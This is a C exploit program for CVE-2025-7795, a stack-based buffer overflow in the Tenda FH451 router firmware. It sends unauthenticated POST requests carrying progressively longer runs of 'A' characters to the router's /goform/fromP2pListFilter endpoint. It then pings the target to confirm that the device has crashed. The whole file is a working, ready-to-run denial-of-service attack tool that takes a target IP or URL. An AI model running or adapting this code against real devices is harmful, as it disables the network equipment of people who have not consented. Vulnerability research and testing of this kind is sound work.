/*
* Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
* Author : Byte Reaper
* Telegram : @ByteReaper0
* CVE : CVE-2025-7795
* Vulnerability : Buffer Overflow
* Description :
* A buffer overflow vulnerability affecting certain Tenda routers,
* exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "argparse.h"
#include <arpa/inet.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <sys/wait.h>
#define FULL_URL 2500
#define POST_DATA 10000
const char *targetUrl = NULL;
const char *targetip = NULL;
int selectIp = 0;
int selectUrl = 0;
int verbose = 0;
int showOne = 0;
char postData[POST_DATA];
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (!tmp) return 0;
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
void pingPacket()
{
int pid = fork();
printf("\n============================================== [Ping] ==============================================\n");
if (pid < 0)
{
perror("\e[1;31m[-] Fork Failed!\e[0m");
exit(1);
}
if (pid == 0)
{
printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n",
getpid());
char *const argv[] = { "/bin/ping",
"-c",
"3",
(char *)targetip,
NULL };
char *const envp[] = { NULL };
__asm__ volatile
(
"mov $59, %%rax\n\t"
"mov %[prog], %%rdi\n\t"
"mov %[argv], %%rsi\n\t"
"mov %[envp], %%rdx\n\t"
"syscall\n\t"
"mov $60, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
: [prog] "r" (argv[0]),
[argv] "r" (argv),
[envp] "r" (envp)
: "rax", "rdi", "rsi", "rdx"
);
}
else
{
printf("\e[1;32m[+] Main PID : %d\e[0m\n",
getpid());
int status;
waitpid(pid,
&status,
0);
if (WIFEXITED(status))
{
int code = WEXITSTATUS(status);
printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n",
code);
if (code == 0)
{
printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n");
printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m");
}
else
{
printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n");
printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n");
}
}
}
printf("\n============================================================================================\e[0m\n");
}
void sendRequest()
{
CURL *c = curl_easy_init();
CURLcode res;
char full[FULL_URL];
struct Mem response = {NULL, 0};
if (!c) {
printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
exit(EXIT_FAILURE);
}
if (targetip) selectIp = 1;
if (targetUrl) selectUrl = 1;
if (selectIp)
{
snprintf(full,
sizeof(full),
"http://%s/goform/fromP2pListFilter",
targetip);
}
if (selectUrl)
{
snprintf(full,
sizeof(full),
"%s/goform/fromP2pListFilter",
targetUrl);
}
int rounds = 5;
int baseLen = 3500, step = 1000;
showOne = 1;
for (int i = 0; i < rounds; i++)
{
int len = baseLen + i * step;
if (len + 6 >= sizeof(postData)) break;
snprintf(postData, sizeof(postData), "list=");
memset(postData + 5, 'A', len);
postData[5 + len] = '\0';
printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n",
i+1,
i+1,
len);
if (verbose)
{
printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n");
printf("%s\e[0m\n\n", postData);
printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n");
}
curl_easy_reset(c);
curl_easy_setopt(c,
CURLOPT_URL,
full);
curl_easy_setopt(c,
CURLOPT_ACCEPT_ENCODING,
"");
curl_easy_setopt(c,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(c,
CURLOPT_POST,
1L);
curl_easy_setopt(c,
CURLOPT_POSTFIELDS,
postData);
curl_easy_setopt(c,
CURLOPT_POSTFIELDSIZE,
(long)strlen(postData));
curl_easy_setopt(c,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(c,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(c,
CURLOPT_CONNECTTIMEOUT,
5L);
curl_easy_setopt(c,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(c,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(c,
CURLOPT_SSL_VERIFYHOST,
0L);
struct curl_slist *h = NULL;
h = curl_slist_append(h,
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
h = curl_slist_append(h,
"Accept-Encoding: gzip, deflate, br");
h = curl_slist_append(h,
"Accept-Language: en-US,en;q=0.5");
h = curl_slist_append(h,
"Connection: keep-alive");
h = curl_slist_append(h,
"Referer: http://example.com");
h = curl_slist_append(h,
"Cache-Control: no-cache");
h = curl_slist_append(h,
"Pragma: no-cache");
curl_easy_setopt(c, CURLOPT_HTTPHEADER, h);
if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L);
char *encode1 = curl_easy_escape(c, full, 0);
if (!encode1)
{
printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n");
exit(EXIT_FAILURE);
}
if (verbose && showOne)
{
printf("\e[1;37m=========================================");
if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n",
targetUrl,
encode1,
full);
if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n",
targetip,
full);
printf("=========================================");
showOne = 0;
}
res = curl_easy_perform(c);
curl_slist_free_all(h);
curl_free(encode1);
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
if (res == CURLE_OK)
{
long httpCode = 0;
printf("\e[1;36m[+] Request sent successfully\e[0m\n");
curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE,
&httpCode);
printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n",
httpCode);
if (httpCode >= 200 && httpCode < 300)
{
printf("\e[1;31m[-] The server was not affected, still working !\n");
printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n");
printf("%s\e[0m\n",
response.buffer);
printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n");
}
else
{
printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n");
printf("[+] Run Command Ping For Check Connection : \e[0m\n");
if (selectIp) pingPacket();
else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n");
}
}
else
{
printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n");
printf("[-] Error : %s\n", curl_easy_strerror(res));
}
}
free(response.buffer);
curl_easy_cleanup(c);
}
int main(int argc,
const char **argv)
{
printf(
"\e[1;31m"
"▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n"
"▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n"
"▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▄▌▄▌ \n"
" \e[1;37mByte Reaper\e[0m\n"
);
printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
if (getuid() != 0)
{
printf("===================================================\e[0m\n");
printf("[-] Not running as root. Trying with sudo...\e[0m\n");
char *args[] = {(char*)"sudo",
(char*)"./exploit",
NULL};
execvp("sudo", args);
perror("[-] Error Run Exploit in Root !");
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
: "rdi"
);
}
printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n");
printf("===================================================\e[0m\n");
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('i',
"ip",
&targetip,
"Enter Target IP"),
OPT_STRING('u',
"url",
&targetUrl,
"Enter Target URL"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (!targetip && !targetUrl)
{
printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n");
printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n");
printf("[+] OR \n");
printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n");
__asm__ volatile(
"xor %%rdi, %%rdi\n\t"
"mov $0x3C, %%rax\n\t"
"1:\n\t"
"syscall\n\t"
:
:
: "rax", "rdi", "rsi"
);
}
if (targetip && targetUrl)
{
printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n");
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rdi"
);
}
if (selectIp)
{
sendRequest();
}
else
{
sendRequest();
}
return 0;
}